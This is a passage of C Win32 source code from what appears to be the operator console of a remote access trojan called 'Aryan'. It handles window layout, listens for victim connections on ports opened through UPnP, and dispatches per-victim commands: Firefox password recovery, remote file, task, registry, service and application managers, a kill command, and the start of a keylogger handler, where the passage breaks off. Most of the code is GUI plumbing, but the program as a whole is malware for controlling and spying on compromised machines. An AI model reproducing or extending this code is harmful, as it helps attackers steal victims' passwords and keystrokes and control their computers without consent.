  6320.              GetClientRect(Dlg, &rc);
  6321.              MoveWindow(GetDlgItem(Dlg, IDC_SERVERLIST),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6322.              MoveWindow(GetDlgItem(Dlg, IDC_LOGS),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6323.              MoveWindow(GetDlgItem(Dlg, IDC_TAB3),0,0,rc.right, rc.bottom - 20, TRUE);
  6324.              MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  6325.             break;
  6326.             case WMSZ_LEFT:
  6327.              GetClientRect(Dlg, &rc);
  6328.              MoveWindow(GetDlgItem(Dlg, IDC_SERVERLIST),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6329.              MoveWindow(GetDlgItem(Dlg, IDC_LOGS),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6330.              MoveWindow(GetDlgItem(Dlg, IDC_TAB3),0,0,rc.right, rc.bottom - 20, TRUE);
  6331.              MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  6332.             break;
  6333.             case WMSZ_RIGHT:
  6334.              GetClientRect(Dlg, &rc);
  6335.              MoveWindow(GetDlgItem(Dlg, IDC_SERVERLIST),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6336.              MoveWindow(GetDlgItem(Dlg, IDC_LOGS),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6337.              MoveWindow(GetDlgItem(Dlg, IDC_TAB3),0,0,rc.right, rc.bottom - 20, TRUE);
  6338.              MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  6339.             break;
  6340.             case WMSZ_TOP:
  6341.              GetClientRect(Dlg, &rc);
  6342.              MoveWindow(GetDlgItem(Dlg, IDC_SERVERLIST),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6343.              MoveWindow(GetDlgItem(Dlg, IDC_LOGS),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6344.              MoveWindow(GetDlgItem(Dlg, IDC_TAB3),0,0,rc.right, rc.bottom - 20, TRUE);
  6345.              MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  6346.             break;
  6347.             case WMSZ_TOPLEFT:
  6348.              GetClientRect(Dlg, &rc);
  6349.              MoveWindow(GetDlgItem(Dlg, IDC_SERVERLIST),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6350.              MoveWindow(GetDlgItem(Dlg, IDC_LOGS),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6351.              MoveWindow(GetDlgItem(Dlg, IDC_TAB3),0,0,rc.right, rc.bottom - 20, TRUE);
  6352.              MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  6353.             break;
  6354.             case WMSZ_TOPRIGHT:
  6355.              GetClientRect(Dlg, &rc);
  6356.              MoveWindow(GetDlgItem(Dlg, IDC_SERVERLIST),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6357.              MoveWindow(GetDlgItem(Dlg, IDC_LOGS),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6358.              MoveWindow(GetDlgItem(Dlg, IDC_TAB3),0,0,rc.right, rc.bottom - 20, TRUE);
  6359.              MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  6360.             break;
  6361.             }
  6362.             break;
  6363.  
  6364.     case WM_NOTIFY:
  6365.         switch(wParam)
  6366.         {
  6367.         case IDC_TAB3:
  6368.             switch (((LPNMHDR)lParam)->code)
  6369.             {
  6370.             case TCN_SELCHANGE:
  6371.                     int iPage = TabCtrl_GetCurSel(GetDlgItem(Dlg, IDC_TAB3));
  6372.                    switch(iPage)
  6373.                    {
  6374.                      case 0:
  6375.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGS),SW_HIDE);
  6376.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGS2),SW_HIDE);
  6377.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT1),SW_HIDE);
  6378.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT),SW_HIDE);
  6379.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT2),SW_HIDE);
  6380.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT3),SW_HIDE);
  6381.              ShowWindow(GetDlgItem(Dlg, IDC_IPADDRESS),SW_HIDE);
  6382.              ShowWindow(GetDlgItem(Dlg, IDC_FILEPORT),SW_HIDE);
  6383.              ShowWindow(GetDlgItem(Dlg, IDC_MAINPORT),SW_HIDE);
  6384.              ShowWindow(GetDlgItem(Dlg, IDC_SERIVCENAME),SW_HIDE);
  6385.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR),SW_HIDE);
  6386.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR2),SW_HIDE);
  6387.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR3),SW_HIDE);
  6388.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR),SW_HIDE);
  6389.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR2),SW_HIDE);
  6390.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR3),SW_HIDE);
  6391.              ShowWindow(GetDlgItem(Dlg, IDC_KEYLOGGERCOLOURS),SW_HIDE);
  6392.              ShowWindow(GetDlgItem(Dlg, IDC_TEXTNORMAL),SW_HIDE);
  6393.              ShowWindow(GetDlgItem(Dlg, IDC_TIME),SW_HIDE);
  6394.              ShowWindow(GetDlgItem(Dlg, IDC_WINDOWTEXT),SW_HIDE);
  6395.              ShowWindow(GetDlgItem(Dlg, IDC_OKSETTING),SW_HIDE);
  6396.              ShowWindow(GetDlgItem(Dlg, IDC_BACKGROUND),SW_HIDE);
  6397.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR4),SW_HIDE);
  6398.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR4),SW_HIDE);
  6399.  
  6400.                      GetClientRect(Dlg, &rc);
  6401.                      ShowWindow(GetDlgItem( Dlg, IDC_LOGS  ),SW_HIDE);
  6402.                      ShowWindow(GetDlgItem( Dlg, IDC_SERVERLIST ),SW_SHOW);
  6403.                      MoveWindow(GetDlgItem(Dlg, IDC_SERVERLIST),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6404.                      break;
  6405.  
  6406.                      case 1:
  6407.                                      ShowWindow(GetDlgItem(Dlg, IDC_SETTINGS ),SW_HIDE);
  6408.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGS2 ),SW_HIDE);
  6409.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT1 ),SW_HIDE);
  6410.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT ),SW_HIDE);
  6411.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT2 ),SW_HIDE);
  6412.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT3 ),SW_HIDE);
  6413.              ShowWindow(GetDlgItem(Dlg, IDC_IPADDRESS ),SW_HIDE);
  6414.              ShowWindow(GetDlgItem(Dlg, IDC_FILEPORT ),SW_HIDE);
  6415.              ShowWindow(GetDlgItem(Dlg, IDC_MAINPORT ),SW_HIDE);
  6416.              ShowWindow(GetDlgItem(Dlg, IDC_SERIVCENAME ),SW_HIDE);
  6417.              ShowWindow(GetDlgItem(Dlg, IDC_MAINPORT ),SW_HIDE);
  6418.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR),SW_HIDE);
  6419.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR2),SW_HIDE);
  6420.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR3),SW_HIDE);
  6421.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR),SW_HIDE);
  6422.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR2),SW_HIDE);
  6423.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR3),SW_HIDE);
  6424.              ShowWindow(GetDlgItem(Dlg, IDC_KEYLOGGERCOLOURS),SW_HIDE);
  6425.              ShowWindow(GetDlgItem(Dlg, IDC_TEXTNORMAL),SW_HIDE);
  6426.              ShowWindow(GetDlgItem(Dlg, IDC_TIME),SW_HIDE);
  6427.              ShowWindow(GetDlgItem(Dlg, IDC_WINDOWTEXT),SW_HIDE);
  6428.              ShowWindow(GetDlgItem(Dlg, IDC_OKSETTING),SW_HIDE);
  6429.              
  6430.              ShowWindow(GetDlgItem(Dlg, IDC_BACKGROUND),SW_HIDE);
  6431.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR4),SW_HIDE);
  6432.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR4),SW_HIDE);
  6433.  
  6434.                      GetClientRect(Dlg, &rc);
  6435.                      ShowWindow(GetDlgItem( Dlg, IDC_SERVERLIST ),SW_HIDE);
  6436.                      ShowWindow(GetDlgItem( Dlg, IDC_LOGS ),SW_SHOW);
  6437.                      MoveWindow(GetDlgItem(Dlg, IDC_LOGS),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6438.                      break;
  6439.                      
  6440.                      case 2:
  6441.                      GetClientRect(Dlg, &rc);
  6442.                      ShowWindow(GetDlgItem( Dlg, IDC_SERVERLIST ),SW_HIDE);
  6443.                      ShowWindow(GetDlgItem( Dlg, IDC_LOGS ),SW_HIDE);
  6444.                      MoveWindow(GetDlgItem(Dlg, IDC_LOGS),0,0,rc.right - 3, rc.bottom - 50, TRUE);
  6445.  
  6446.                       ShowWindow(GetDlgItem(Dlg, IDC_SETTINGS ),SW_SHOW);
  6447.            
  6448.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGS2 ),SW_SHOW);
  6449.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT1 ),SW_SHOW);
  6450.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT ),SW_SHOW);
  6451.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT2 ),SW_SHOW);
  6452.              ShowWindow(GetDlgItem(Dlg, IDC_SETTINGTEXT3 ),SW_SHOW);
  6453.              ShowWindow(GetDlgItem(Dlg, IDC_IPADDRESS ),SW_SHOW);
  6454.              ShowWindow(GetDlgItem(Dlg, IDC_FILEPORT ),SW_SHOW);
  6455.              ShowWindow(GetDlgItem(Dlg, IDC_MAINPORT ),SW_SHOW);
  6456.              ShowWindow(GetDlgItem(Dlg, IDC_SERIVCENAME ),SW_SHOW);
  6457.              ShowWindow(GetDlgItem(Dlg, IDC_MAINPORT ),SW_SHOW);
  6458.              
  6459.              ShowWindow(GetDlgItem(Dlg, IDC_OKSETTING),SW_SHOW);
  6460.  
  6461.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR),SW_SHOW);
  6462.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR2),SW_SHOW);
  6463.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR3),SW_SHOW);
  6464.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR),SW_SHOW);
  6465.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR2),SW_SHOW);
  6466.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR3),SW_SHOW);
  6467.              ShowWindow(GetDlgItem(Dlg, IDC_KEYLOGGERCOLOURS),SW_SHOW);
  6468.  
  6469.              ShowWindow(GetDlgItem(Dlg, IDC_TEXTNORMAL),SW_SHOW);
  6470.              ShowWindow(GetDlgItem(Dlg, IDC_TIME),SW_SHOW);
  6471.              ShowWindow(GetDlgItem(Dlg, IDC_WINDOWTEXT),SW_SHOW);
  6472.  
  6473.              ShowWindow(GetDlgItem(Dlg, IDC_BACKGROUND),SW_SHOW);
  6474.              ShowWindow(GetDlgItem(Dlg, IDC_KEYCOLOUR4),SW_SHOW);
  6475.              ShowWindow(GetDlgItem(Dlg, IDC_KEYSCOLOUR4),SW_SHOW);
  6476.                     break;
  6477.                     }
  6478.                
  6479.                 break;
  6480.             }
  6481.         case IDC_SERVERLIST:
  6482.         if(((LPNMHDR)lParam)->code == NM_RCLICK) // Right Click
  6483.             {    
  6484.             // Get the client coordinates for the mouse click.
  6485.               pt.x = 0;
  6486.               pt.y = 0;
  6487.               GetCursorPos(&pt);
  6488.        
  6489.             // If the mouse click took place inside the client
  6490.             // area, execute the application-defined function
  6491.             // that displays the shortcut menu.
  6492.     if(x == 0)
  6493.     {
  6494.        
  6495.             hmenu = LoadMenu(GInstance, MAKEINTRESOURCE(IDR_MENU4));
  6496.  
  6497.             if (hmenu == NULL)
  6498.             {
  6499.              break;
  6500.             }
  6501.  
  6502.             hmenuTrackPopup = GetSubMenu(hmenu, 0);
  6503.  
  6504.             //ClientToScreen(Dlg, (LPPOINT) &pt);  
  6505.  
  6506.             TrackPopupMenu(hmenuTrackPopup, TPM_LEFTALIGN | TPM_LEFTBUTTON, pt.x, pt.y, 0, Dlg, NULL);
  6507.             break;
  6508.     }
  6509.     else
  6510.     {
  6511.    
  6512.             hmenu = LoadMenu(GInstance, MAKEINTRESOURCE(IDR_COMMANDS));
  6513.  
  6514.             if (hmenu == NULL)
  6515.             {
  6516.              break;
  6517.             }
  6518.  
  6519.             hmenuTrackPopup = GetSubMenu(hmenu, 0);
  6520.  
  6521.             //ClientToScreen(Dlg, (LPPOINT) &pt);  
  6522.  
  6523.             TrackPopupMenu(hmenuTrackPopup, TPM_LEFTALIGN | TPM_LEFTBUTTON, pt.x, pt.y, 0, Dlg, NULL);
  6524.             break;
  6525.     }
  6526.            
  6527.             }
  6528.         }
  6529.         break;
  6530.  
  6531.  
  6532.     case WM_COMMAND:
  6533.         Select=LOWORD(wParam);
  6534.         switch(Select)
  6535.         {
  6536. ////////////////////////////////////////////////////////////////////////////////                      
  6537.         case IDC_LISTEN:
  6538.             if(x == 0)
  6539.             {
  6540.              x = 1;
  6541.              InitWSA();
  6542.              CreateThread(NULL, 0,FileConnectWindow,(LPVOID)"", 0, &thread);
  6543.             // CHECK = CreateThread(NULL, 0,CheckStatus,(LPVOID)"", 0, &thread);
  6544.              GetTime();
  6545.              
  6546.              if(InitSocket(Dlg))       
  6547.              {
  6548.              SendMessage(hStatus, SB_SETTEXT, 0, (LPARAM)"Connection Status: Listening");
  6549.              strcpy(Buffer, "");
  6550.              sprintf(Buffer, "Listening on ports: %d & %d", ServerPort, FilePort);
  6551.              GetTime();
  6552.              SetLogs(Time, "Listening", Buffer , "Pass");
  6553.              }
  6554.              else
  6555.              {
  6556.              SendMessage(hStatus, SB_SETTEXT, 0, (LPARAM)"Connection Status: Error Listening please restart client!");
  6557.              GetTime();
  6558.              SetLogs(Time, "Listening", "Failed to listen" , "Fail");
  6559.              }
  6560.             }
  6561.          
  6562.             else
  6563.             {
  6564.             MessageBox(NULL, "Already listening!", "Listening", MB_OK | MB_ICONERROR);
  6565.             }
  6566.           break;       
  6567. //////////////////////////////////////////////////////////////////////////////////            
  6568.         case IDC_DISCONNECT:
  6569.          if(x == 1)
  6570.             {
  6571.                  
  6572.              CloseSocket(hStatus);
  6573.              CloseSocket(HwND);
  6574.              CloseSocket(hDlg);
  6575.            
  6576.              ResetProcs(Dlg, IDC_SERVERLIST);
  6577.              ResetProcs(Dlg, IDC_CONNECTIONSTATUS);
  6578.              S = 0;
  6579.              x = 0;
  6580.              //TerminateThread(CHECK, 0);
  6581.              
  6582.              SendMessage(hStatus, SB_SETTEXT, 0, (LPARAM)"Connection Status: Not Listening");
  6583.              GetTime();
  6584.              strcpy(Buffer, "");
  6585.              sprintf(Buffer, "Stopped Listening on ports: %d & %d", ServerPort, FilePort);
  6586.              SetLogs(Time, "Stopped Listening", Buffer , "Pass");
  6587.             }
  6588.             else
  6589.             {
  6590.             MessageBox(NULL, "you need to listen first!", "Disconnect", MB_OK | MB_ICONERROR);
  6591.              GetTime();
  6592.              SetLogs(Time, "Stopped Listening", "you need to listen first!" , "Fail");
  6593.             }
  6594.              break;
  6595.     case  IDC_BACKGROUND:
  6596.  
  6597.         memset( &cc, 0, sizeof(CHOOSECOLOR) );
  6598.         cc.lStructSize = sizeof(CHOOSECOLOR);
  6599.         cc.hwndOwner = Dlg;
  6600.         cc.lpCustColors = dwColors;
  6601.         cc.Flags = CC_RGBINIT;
  6602.         cc.rgbResult = dwBackColor;
  6603.  
  6604.         if( ! ChooseColor( &cc ) )
  6605.         return( FALSE );
  6606.  
  6607.          dwBackColor = cc.rgbResult;
  6608.  
  6609.          break;
  6610.  
  6611.         case  IDC_TEXTNORMAL:
  6612.  
  6613.         memset( &cc, 0, sizeof(CHOOSECOLOR) );
  6614.         cc.lStructSize = sizeof(CHOOSECOLOR);
  6615.         cc.hwndOwner = Dlg;
  6616.         cc.lpCustColors = dwColors;
  6617.         cc.Flags = CC_RGBINIT;
  6618.         cc.rgbResult = dwTextColor;
  6619.  
  6620.         if( ! ChooseColor( &cc ) )
  6621.         return( FALSE );
  6622.  
  6623.         dwTextColor = cc.rgbResult;        
  6624.          break;
  6625.  
  6626.         case  IDC_TIME:
  6627.  
  6628.         memset( &cc, 0, sizeof(CHOOSECOLOR) );
  6629.         cc.lStructSize = sizeof(CHOOSECOLOR);
  6630.         cc.hwndOwner = Dlg;
  6631.         cc.lpCustColors = (unsigned long *)dwColors;
  6632.         cc.Flags = CC_RGBINIT;
  6633.         cc.rgbResult = dwTimeColor;
  6634.  
  6635.         if( ! ChooseColor( &cc ) )
  6636.         return( FALSE );
  6637.  
  6638.         dwTimeColor = cc.rgbResult;
  6639.          
  6640.          break;
  6641.         case  IDC_WINDOWTEXT:
  6642.  
  6643.         memset( &cc, 0, sizeof(CHOOSECOLOR) );
  6644.         cc.lStructSize = sizeof(CHOOSECOLOR);
  6645.         cc.hwndOwner = Dlg;
  6646.         cc.lpCustColors = (unsigned long *)dwColors;
  6647.         cc.Flags = CC_RGBINIT;
  6648.         cc.rgbResult = dwTitleColor;
  6649.  
  6650.         if( ! ChooseColor( &cc ) )
  6651.         return( FALSE );
  6652.  
  6653.         dwTitleColor = cc.rgbResult;
  6654.  
  6655.          memset( &cf, 0, sizeof(CHARFORMAT) );
  6656.          cf.cbSize = sizeof(CHARFORMAT);
  6657.          cf.dwMask = CFM_COLOR;
  6658.          cf.crTextColor = dwTextColor;
  6659.          
  6660.          break;
  6661.         case IDC_SETTING:
  6662.             DialogBox(GInstance,(LPCTSTR)IDD_SERVEREDIT,0,(DLGPROC)EditProc);
  6663.             break;
  6664.         case IDC_OKSETTING:
  6665.             MessageBox(NULL, "Please wait for Aryan Client to complete its operation \n UPnP can take as long as 30 seconds to complete, so it may appear the client has locked up \n but infact it is working on forwarding the port.", "Wait..", MB_OK);
  6666.             GetWindowText(GetDlgItem(Dlg, IDC_MAINPORT), PORTA, 12);
  6667.             GetWindowText(GetDlgItem(Dlg, IDC_FILEPORT), PORTB, 12);
  6668.             GetWindowText(GetDlgItem(Dlg, IDC_SERIVCENAME), ServiceName, 12);
  6669.             GetWindowText(GetDlgItem(Dlg, IDC_IPADDRESS), ip, 12);
  6670.        
  6671.             ServerPort = atoi(PORTA);
  6672.             FilePort = atoi(PORTB);
  6673.             sprintf(filename, "Ports: %d & %d", ServerPort, FilePort);
  6674.             SendMessage(hStatus, SB_SETTEXT, 1, (LPARAM)filename);
  6675.             Sleep(100);
  6676.             if(!nat.discovery())
  6677.             {
  6678.             MessageBox(NULL, "Discovery error, \nMake sure UPnP settings for this port do not already exist. \nMake sure your Router supports UPnP and has UPnP Enabled. ", "UPnP Discovery error", MB_OK);
  6679.             return -1;
  6680.             }
  6681.             if(!nat.add_port_mapping("Aryan",ip,atoi(PORTA),atoi(PORTA),"TCP"))
  6682.             {
  6683.             MessageBox(NULL, "Port Mapping ERROR, Make sure UPnP settings for this Service already exist.", "Port Mapping ERROR", MB_OK);
  6684.             return -1;
  6685.             }  
  6686.             if(!nat.discovery())
  6687.             {
  6688.             MessageBox(NULL, "Discovery error", "Discovery error", MB_OK);
  6689.             return -1;
  6690.             }
  6691.             if(!nat.add_port_mapping("Aryan",ip,atoi(PORTB),atoi(PORTB),"TCP"))
  6692.             {
  6693.             MessageBox(NULL, "Port Mapping ERROR", "Port Mapping ERROR", MB_OK);
  6694.             return -1;
  6695.             }
  6696.             sprintf(filename, "Ports: %d & %d", ServerPort, FilePort);
  6697.             SendMessage(hStatus, SB_SETTEXT, 1, (LPARAM)filename);
  6698. break;
  6699.         case IDC_FIREFOX:
  6700.             ZeroMemory(&Window, sizeof(FileStruct));
  6701.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  6702.             item.mask=LVIF_TEXT;
  6703.             item.iSubItem=0;
  6704.             item.pszText=Head.Data;
  6705.             item.cchTextMax=255;
  6706.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6707.  
  6708.             strcpy(Window.ID, Head.Data);
  6709.  
  6710.             if(PassHwnd[atoi(Window.ID)] == NULL)
  6711.           {
  6712.             item.iSubItem=3;
  6713.             item.pszText=Window.IP;
  6714.             item.cchTextMax=255;
  6715.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6716.             strcpy(WINDOWIP, Window.IP);
  6717.  
  6718.              strcpy(Buffer, "");
  6719.              sprintf(Buffer, "Password Recovered for: %s", Window.IP);
  6720.             GetTime();
  6721.             SetLogs(Time, "Password Recovery", Buffer , "Pass");
  6722.  
  6723.             CreateThread(NULL, 0,PassswordWindow,(LPVOID)&Window, 0, &thread);
  6724.           }
  6725.           else
  6726.           {
  6727.              strcpy(Head.Data, "");
  6728.           }
  6729.            
  6730.             break;
  6731.         case IDC_SERVICEMANAGER:
  6732.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  6733.             item.mask=LVIF_TEXT;
  6734.             item.iSubItem=0;
  6735.             item.pszText=Head.Data;
  6736.             item.cchTextMax=255;
  6737.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6738.  
  6739.             strcpy(Window.ID, Head.Data);
  6740.  
  6741.             if(ServiceHwnd[atoi(Head.Data)] == NULL)
  6742.           {
  6743.             item.iSubItem=3;
  6744.             item.pszText=Head.Buf;
  6745.             item.cchTextMax=255;
  6746.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6747.             strcpy(Window.IP, Head.Buf);
  6748.            
  6749.             strcpy(Buffer, "");
  6750.             sprintf(Buffer, "Service Manager for: %s", Window.IP);
  6751.             GetTime();
  6752.             SetLogs(Time, "Service Manager", Buffer , "Pass");
  6753.  
  6754.             CreateThread(NULL, 0,ServiceWindow,(LPVOID)&Window, 0, &thread);
  6755.           }
  6756.           else
  6757.           {
  6758.           }
  6759.            
  6760.             break;
  6761. ////////////////////////////////////////////////////////////////////////////////
  6762.         case IDC_EXIT:
  6763.             {
  6764.                 if(MessageBox(NULL, "Are you sure you want to EXIT?", "Exiting...", MB_YESNO | MB_ICONQUESTION) == IDYES)
  6765.                 {
  6766.                    
  6767.                      CloseSocket(hStatus);
  6768.             CloseSocket(HwND);
  6769.              CloseSocket(hDlg);
  6770.                 ExitProcess(0);
  6771.                 EndDialog(Dlg,Select);
  6772.                 PostQuitMessage(0);
  6773.                 break;
  6774.                 }
  6775.                
  6776.                 else
  6777.                 {
  6778.                 MessageBox(NULL, "You should not have pressed exit if you did not want to exit!", "JackAss..", MB_OK | MB_ICONWARNING);
  6779.                 break;
  6780.                 }
  6781.  
  6782.             break;
  6783.             }
  6784.     case IDC_FILEMANAGER:
  6785.             {
  6786.             strcpy(Head.Data, "");
  6787.          
  6788.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  6789.             item.mask=LVIF_TEXT;
  6790.             item.iSubItem=0;
  6791.             item.pszText=Head.Data;
  6792.             item.cchTextMax=255;
  6793.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6794.    
  6795.          if(FileHwnd[atoi(Head.Data)] == NULL)
  6796.           {
  6797.             item.iSubItem=3;
  6798.             item.pszText=Window.IP;
  6799.             item.cchTextMax=255;
  6800.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6801.             strcpy(WINDOWIP, Window.IP);
  6802.            
  6803.             strcpy(Buffer, "");
  6804.             sprintf(Buffer, "File Manager for: %s", Window.IP);
  6805.             GetTime();
  6806.             SetLogs(Time, "File Manager", Buffer , "Pass");
  6807.             CreateThread(NULL, 0,FileWindow,(LPVOID)atoi(Head.Data), 0, &thread);
  6808.           }
  6809.                    
  6810.             break;
  6811.             }
  6812.         case IDC_TASKMANAGER:
  6813.             {
  6814.            
  6815.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  6816.             item.mask=LVIF_TEXT;
  6817.             item.iSubItem=0;
  6818.             item.pszText=Head.Data;
  6819.             item.cchTextMax=255;
  6820.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6821.             strcpy(Window.ID, Head.Data);
  6822.             GID = atoi(Window.ID);
  6823.            
  6824.           if(TASKS[atoi(Window.ID)] == NULL)
  6825.           {
  6826.             item.iSubItem=3;
  6827.             item.pszText=Window.IP;
  6828.             item.cchTextMax=255;
  6829.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6830.             strcpy(WINDOWIP, Window.IP);
  6831.  
  6832.             strcpy(Buffer, "");
  6833.             sprintf(Buffer, "Task Manager for: %s", Window.IP);
  6834.             GetTime();
  6835.             SetLogs(Time, "Task Manager", Buffer , "Pass");
  6836.             CreateThread(NULL, 0,ProcWindow,(LPVOID)&Window, 0, &thread);
  6837.  
  6838.           }
  6839.           else
  6840.           {
  6841.           }
  6842.             break;
  6843.             }
  6844.        
  6845.        
  6846. //////////////////////////////////////////////////////////////////////////////////////////////
  6847.     case IDC_REGISTRY:
  6848.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  6849.             item.mask=LVIF_TEXT;
  6850.             item.iSubItem=0;
  6851.             item.pszText=Head.Data;
  6852.             item.cchTextMax=255;
  6853.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);  
  6854.            
  6855.             strcpy(Window.ID, Head.Data);
  6856.             GID = atoi(Head.Data);
  6857.           if(RegHwnd[atoi(Head.Data)] == NULL)
  6858.           {
  6859.             item.iSubItem=3;
  6860.             item.pszText=Window.IP;
  6861.             item.cchTextMax=255;
  6862.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6863.             strcpy(WINDOWIP, Window.IP);
  6864.             strcpy(Buffer, "");
  6865.             sprintf(Buffer, "Registry Manager for: %s", Window.IP);
  6866.             GetTime();
  6867.             SetLogs(Time, "Registry Manager", Buffer , "Pass");
  6868.             CreateThread(NULL, 0,RegisteryWindow,(LPVOID)&Window, 0, &thread);
  6869.  
  6870.           }
  6871.           else
  6872.           {    
  6873.    
  6874.           }
  6875.             break;
  6876.  
  6877.     case IDC_APPSMAN:
  6878.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  6879.             item.mask=LVIF_TEXT;
  6880.             item.iSubItem=0;
  6881.             item.pszText=Head.Data;
  6882.             item.cchTextMax=255;
  6883.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);  
  6884.            
  6885.             strcpy(Window.ID, Head.Data);
  6886.             GID = atoi(Head.Data);
  6887.           if(ProgHwnd[atoi(Head.Data)] == NULL)
  6888.           {
  6889.             item.iSubItem=3;
  6890.             item.pszText=Window.IP;
  6891.             item.cchTextMax=255;
  6892.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6893.             strcpy(WINDOWIP, Window.IP);
  6894.             strcpy(Buffer, "");
  6895.             sprintf(Buffer, "Application Manager for: %s", Window.IP);
  6896.             GetTime();
  6897.             SetLogs(Time, "Application Manager", Buffer , "Pass");
  6898.             CreateThread(NULL, 0,AppsWindow,(LPVOID)&Window, 0, &thread);
  6899.           }
  6900.           else
  6901.           {    
  6902.    
  6903.           }
  6904.             break;
  6905.  
  6906.        case IDC_KILL:
  6907.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  6908.             item.mask=LVIF_TEXT;
  6909.             item.iSubItem=0;
  6910.             item.pszText=Head.Data;
  6911.             item.cchTextMax=255;
  6912.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6913.             Head.ID = atoi (Head.Data);
  6914.             Head.PacketType = PACKET_EXIT;
  6915.             SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  6916.  
  6917.             item.iSubItem=3;
  6918.             item.pszText=Window.IP;
  6919.             item.cchTextMax=255;
  6920.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6921.             strcpy(WINDOWIP, Window.IP);
  6922.            
  6923.             strcpy(Buffer, "");
  6924.             sprintf(Buffer, "Killed: %s", Window.IP);
  6925.             GetTime();
  6926.             SetLogs(Time, "Kill", Buffer , "Pass");
  6927.             break;
  6928.  
  6929.     case IDC_KEYLOGGER:
  6930.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  6931.             item.mask=LVIF_TEXT;
  6932.             item.iSubItem=0;
  6933.             item.pszText=Head.Data;
  6934.             item.cchTextMax=255;
